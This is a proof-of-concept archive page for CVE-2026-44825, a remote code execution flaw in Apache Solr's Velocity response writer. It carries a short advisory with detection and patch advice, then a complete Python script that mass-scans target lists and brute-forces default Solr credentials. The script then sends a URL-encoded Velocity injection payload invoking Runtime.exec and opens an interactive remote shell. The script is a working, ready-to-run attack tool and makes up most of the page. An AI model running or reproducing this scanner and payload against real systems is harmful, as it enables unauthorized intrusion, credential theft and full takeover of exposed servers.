PoC Archive PoC Archive
Critical CVE-2026-44825 patched

Apache Solr Velocity Template Injection RCE (CVE-2026-44825)

by shinthink · 2026-07-05

CVSS 9.8/10
Severity
Critical
CVE
CVE-2026-44825
Category
web
Affected product
Apache Solr (VelocityResponseWriter / wt=velocity)
Affected versions
Solr 9.4.0 – 9.10.1, and 10.0.0 (patched in 9.10.2+ and 10.0.1+)
Disclosed
2026-07-05
Patch status
patched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-07
Author / Researchershinthink
CVE / AdvisoryCVE-2026-44825
Categoryweb
SeverityCritical
CVSS Score9.8 (Critical, unauthenticated) / 8.8 (High, authenticated) per source repository
StatusPoC
Tagsapache-solr, velocity, ssti, template-injection, rce, java, default-credentials
RelatedN/A

Affected Target

FieldValue
Software / SystemApache Solr (VelocityResponseWriter / wt=velocity)
Versions AffectedSolr 9.4.0 – 9.10.1, and 10.0.0 (patched in 9.10.2+ and 10.0.1+)
Language / PlatformPython 3.8+ (scanner/exploit tool), Java (Apache Solr target)
Authentication RequiredNo (unauthenticated on exposed instances) / Yes (Basic Auth, often default creds, on secured instances)
Network Access RequiredYes

Summary

Apache Solr bundles the Apache Velocity template engine as an optional response writer. Solr’s VelocityResponseWriter renders user-supplied Velocity templates passed via the wt=velocity query parameter without adequately restricting access to Java reflection APIs, allowing an attacker to craft a template that invokes java.lang.Runtime.exec() and executes arbitrary OS commands with the privileges of the Solr Java process. The solrradar tool in this PoC performs reconnaissance (version fingerprinting, auth probing), brute-forces default Solr credentials, and then delivers the Velocity Server-Side Template Injection (SSTI) payload to obtain an interactive command shell.


Vulnerability Details

Root Cause

The VelocityResponseWriter processes the v.template.custom parameter as a live Velocity template without sanitizing calls into Java reflection ($x.class.forName(...)). This allows a crafted template to obtain a reference to java.lang.Runtime, call getRuntime().exec(cmd), and read back the process’s output stream — all from a single HTTP request to the /select endpoint with wt=velocity.

Attack Vector

  1. Attacker identifies a reachable Solr instance and fingerprints its version via /admin/info/system (looking for solr-spec-version in the 9.4.0–9.10.1 or 10.0.0 range).
  2. Attacker probes /admin/cores?action=STATUS and /admin/collections?action=LIST to determine whether Basic Auth is required.
  3. If authentication is required, attacker brute-forces a small dictionary of default Solr credentials (e.g. admin:SolrRocks).
  4. Attacker enumerates available collections/cores.
  5. Attacker sends a POST/GET to /{collection}/select with wt=velocity and a v.template.custom parameter containing a Velocity payload that calls Runtime.getRuntime().exec(cmd) and reads back stdout via $out.available()/$out.read().
  6. The command output is returned in the HTTP response, and the tool can escalate this into an interactive pseudo-shell for post-exploitation.

Impact

Full unauthenticated (or credential-assisted) remote code execution with the privileges of the Solr Java process, potentially leading to complete host compromise, data exfiltration from indexed collections, and lateral movement.


Environment / Lab Setup

Target: Apache Solr 9.4.1 (or any version 9.4.0-9.10.1 / 10.0.0), single-node
        or SolrCloud, with VelocityResponseWriter registered in solrconfig.xml.
Attacker tooling: Python 3.8+, `pip install -r requirements.txt` (requests,
                  urllib3), network access to Solr port (default 8983).

Proof of Concept

PoC Script

See solr_scanner.py and requirements.txt in this folder.

1
2
3
4
5
6
7
pip install -r requirements.txt

python solr_scanner.py -f targets.txt -o results.json

python solr_scanner.py -t target:8983 --rce

python solr_scanner.py -t target:8983 --rce -u admin -pw SolrRocks

Running the scanner against a vulnerable Solr instance identifies the version and auth posture, optionally brute-forces default credentials, and then delivers the Velocity SSTI payload to /select?wt=velocity, dropping into an interactive shell running as the solr OS user.


Detection & Indicators of Compromise

- HTTP access logs showing requests to */select with wt=velocity and
  v.template / v.template.custom parameters containing "Runtime",
  "forName", or "exec(" strings (often URL-encoded).
- Unexpected child processes spawned by the Solr Java process (java ->
  sh/bash/cmd) shortly after such a request.
- Repeated failed Basic Auth attempts against /admin/cores or
  /admin/collections (credential brute-force).

Signs of compromise:

  • Solr access logs with wt=velocity requests containing reflection/Runtime strings.
  • Unexplained shell processes as children of the Solr JVM.
  • Presence of unfamiliar files or outbound connections originating from the Solr host.

Remediation

ActionDetail
Primary fixUpgrade to Solr 9.10.2+ or 10.0.1+, which remove/patch the vulnerable Velocity reflection path.
Interim mitigationRemove/comment out the VelocityResponseWriter registration in solrconfig.xml, enforce strong Basic Auth (no default credentials), and restrict network access to Solr admin/query ports to trusted hosts only.

References


Notes

Mirrored from https://github.com/shinthink/solrradar on 2026-07-05.

solr_scanner.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
#!/usr/bin/env python3
import requests, sys, json, re, base64, argparse, time
from concurrent.futures import ThreadPoolExecutor, as_completed
from threading import Lock
import urllib3
urllib3.disable_warnings()

TIMEOUT = 8
THREADS = 30
TEMPLATE_USERS = ['superadmin', 'admin', 'search', 'index']
PASSWORD_LIST = ['SolrRocks', 'solr', 'Solr123', 'admin', 'password', 'changeme', 'secret', 'solradmin']
VERSION_RE = [r'solr-spec-version[^0-9]*([\d.]+)', r'solr-impl-version[^0-9]*([\d.]+)']

lock = Lock()
scanned, solr_found, vuln_found = 0, 0, 0

def norm(url):
    url = url.strip()
    if not url.startswith('http'): url = 'http://' + url
    if '/solr' not in url: url = url.rstrip('/') + '/solr'
    return url

def req(url, path='/admin/info/system', hdrs=None):
    try: return requests.get(url + path, headers=hdrs, verify=False, timeout=TIMEOUT)
    except: return None

def detect(url):
    r = req(url)
    if r is not None and r.status_code in [200, 401]:
        t = (r.text or '')[:5000]
        if 'solr' in t.lower() or 'solr' in r.headers.get('Server', '').lower():
            v = None
            for p in VERSION_RE:
                m = re.search(p, t, re.I)
                if m: v = m.group(1); break
            # check auth on protected endpoints too (info/system may be open while cores/collections require auth)
            auth = (r.status_code == 401)
            if not auth:
                r2 = req(url, '/admin/cores?action=STATUS')
                if r2 is not None and r2.status_code == 401:
                    auth = True
                else:
                    r3 = req(url, '/admin/collections?action=LIST')
                    if r3 is not None and r3.status_code == 401:
                        auth = True
            return True, v, auth
    return False, None, False

def is_vuln(ver):
    if not ver: return None
    try:
        x = [int(i) for i in ver.split('.')]
        if x[0] == 9 and 4 <= x[1] <= 10: return not (x[1] == 10 and len(x) > 2 and x[2] > 1)
        if x[0] == 10: return x[1] == 0 and (len(x) < 3 or x[2] == 0)
    except: return None
    return False

def try_auth(url, u, p):
    a = base64.b64encode((u + ':' + p).encode()).decode()
    r = req(url, hdrs={'Authorization': 'Basic ' + a})
    return r is not None and r.status_code == 200

def get_cols(url, u, p):
    hdrs = {}
    if u and p:
        a = base64.b64encode((u + ':' + p).encode()).decode()
        hdrs = {'Authorization': 'Basic ' + a}
    r = req(url, '/admin/collections?action=LIST', hdrs=hdrs)
    if r is not None and r.status_code == 200:
        try:
            cols = r.json().get('collections', [])
            if cols: return cols
        except: pass
    # fallback: standalone Solr uses /admin/cores
    r = req(url, '/admin/cores?action=STATUS', hdrs=hdrs)
    if r is not None and r.status_code == 200:
        try:
            cores = list(r.json().get('status', {}).keys())
            if cores: return cores
        except: pass
    return []

def rce(url, u, p, cmd='id'):
    c = get_cols(url, u, p) or ['gettingstarted', 'test']
    h = {'Content-Type': 'application/x-www-form-urlencoded'}
    if u and p:
        a = base64.b64encode((u + ':' + p).encode()).decode()
        h['Authorization'] = 'Basic ' + a
    pl = 'q=1&wt=velocity&v.template=custom&v.template.custom=%23set(%24x=%27%27)%23set(%24rt=%24x.class.forName(%27java.lang.Runtime%27))%23set(%24chr=%24x.class.forName(%27java.lang.Character%27))%23set(%24ex=%24rt.getRuntime().exec(%27' + cmd + '%27))%24ex.waitFor()%25%23set(%24out=%24ex.getInputStream())%23foreach(%24i%20in%20[1..%24out.available()])%24str.valueOf(%24chr.toChars(%24out.read()))%23end'
    try:
        r = requests.post(url + '/' + c[0] + '/select', headers=h, data=pl.encode(), verify=False, timeout=TIMEOUT)
        if r is not None and r.status_code == 200 and r.text.strip():
            return r.text.strip()
    except: pass
    return None

def scan(url):
    global scanned, solr_found, vuln_found
    url = norm(url)
    ok, ver, auth = detect(url)
    
    with lock:
        scanned += 1
        s = scanned
    
    if not ok:
        if s % 100 == 0:
            with lock:
                print('[%d] scanning... Solr:%d Vuln:%d' % (s, solr_found, vuln_found))
        return {'url': url, 'found': False}
    
    with lock:
        solr_found += 1
        vuln = is_vuln(ver)
        if vuln: vuln_found += 1
        tag = ' VULN' if vuln else ''
        tag2 = ' +Auth' if auth else ''
        info = '[Solr %s]%s%s %s' % ((ver or '?'), tag, tag2, url)
        print(info)

    result = {'url': url, 'found': True, 'version': ver, 'vulnerable': vuln, 'auth': auth, 'creds': [], 'cols': []}

    # try unauthenticated collection listing first
    if not auth:
        result['cols'] = get_cols(url, '', '')
        if result['cols']:
            print('    Cols (no auth): ' + str(result['cols'][:5]))

    if auth:
        for user in TEMPLATE_USERS:
            for pw in PASSWORD_LIST:
                if try_auth(url, user, pw):
                    print('    [!] ' + user + ':' + pw)
                    result['creds'].append([user, pw])
                    result['cols'] = get_cols(url, user, pw)
                    if result['cols']:
                        print('    Cols: ' + str(result['cols'][:5]))
                    break
    
    return result

def mass(targets, exploit=False, outfile='results.json'):
    global THREADS
    print('Targets: %d | Threads: %d | Timeout: %ds' % (len(targets), THREADS, TIMEOUT))
    print('Scanning...')
    print()
    
    results = []
    with ThreadPoolExecutor(THREADS) as e:
        fs = {e.submit(scan, t): t for t in targets}
        for f in as_completed(fs):
            results.append(f.result())
    
    print()
    print('Done. Total:%d | Solr:%d | Vuln:%d' % (len(results), solr_found, vuln_found))
    
    vulns = [r for r in results if r.get('creds')]
    if vulns:
        print()
        print('[VULNERABLE]')
        for r in vulns:
            for u, p in r['creds']:
                print('  %s -> %s:%s (v%s)' % (r['url'], u, p, str(r.get('version', '?'))))
    else:
        print()
        print('No vulnerable targets found.')
    
    if exploit and vulns:
        print()
        print('[Exploiting]')
        for r in vulns:
            u, p = r['creds'][0]
            o = rce(r['url'], u, p, 'id; hostname; whoami')
            if o:
                print('RCE: %s' % r['url'])
                print(o)
                print()
    
    if outfile and vulns:
        json.dump(vulns, open(outfile, 'w'), indent=2)
        print('Saved: ' + outfile)
    
    return results

def main():
    global THREADS, TIMEOUT
    p = argparse.ArgumentParser(description='CVE-2026-44825 Apache Solr Scanner')
    p.add_argument('-t', '--target')
    p.add_argument('-f', '--file')
    p.add_argument('--exploit', action='store_true')
    p.add_argument('--rce', action='store_true')
    p.add_argument('-u', '--user')
    p.add_argument('-pw', '--password')
    p.add_argument('-o', '--output', default='solr_results.json')
    p.add_argument('-w', '--workers', type=int, default=THREADS)
    p.add_argument('-T', '--timeout', type=int, default=TIMEOUT)
    a = p.parse_args()
    
    THREADS = a.workers
    TIMEOUT = a.timeout
    
    print('CVE-2026-44825 Apache Solr Scanner')
    print()
    
    if a.rce and a.target:
        url = norm(a.target)
        u, pw = a.user, a.password
        if not u:
            for xu in TEMPLATE_USERS:
                for xp in PASSWORD_LIST:
                    if try_auth(url, xu, xp):
                        u, pw = xu, xp
                        print('[+] ' + u + ':' + pw)
                        break
                if u: break
        if u:
            while True:
                c = input('solr$ ').strip()
                if c in ['exit', 'quit']: break
                if c:
                    o = rce(url, u, pw, c)
                    if o: print(o)
        else:
            print('[-] No credentials found')
        return
    
    if a.target and not a.file:
        r = scan(a.target)
        if a.exploit and r.get('creds'):
            u, p = r['creds'][0]
            o = rce(r['url'], u, p, 'id; hostname; uname -a')
            if o: print('RCE:'); print(o)
        return
    
    if a.file:
        with open(a.file) as f:
            targets = [l.strip() for l in f if l.strip() and not l.startswith('#')]
        mass(targets, a.exploit, a.output)
        return
    
    p.print_help()

if __name__ == '__main__':
    main()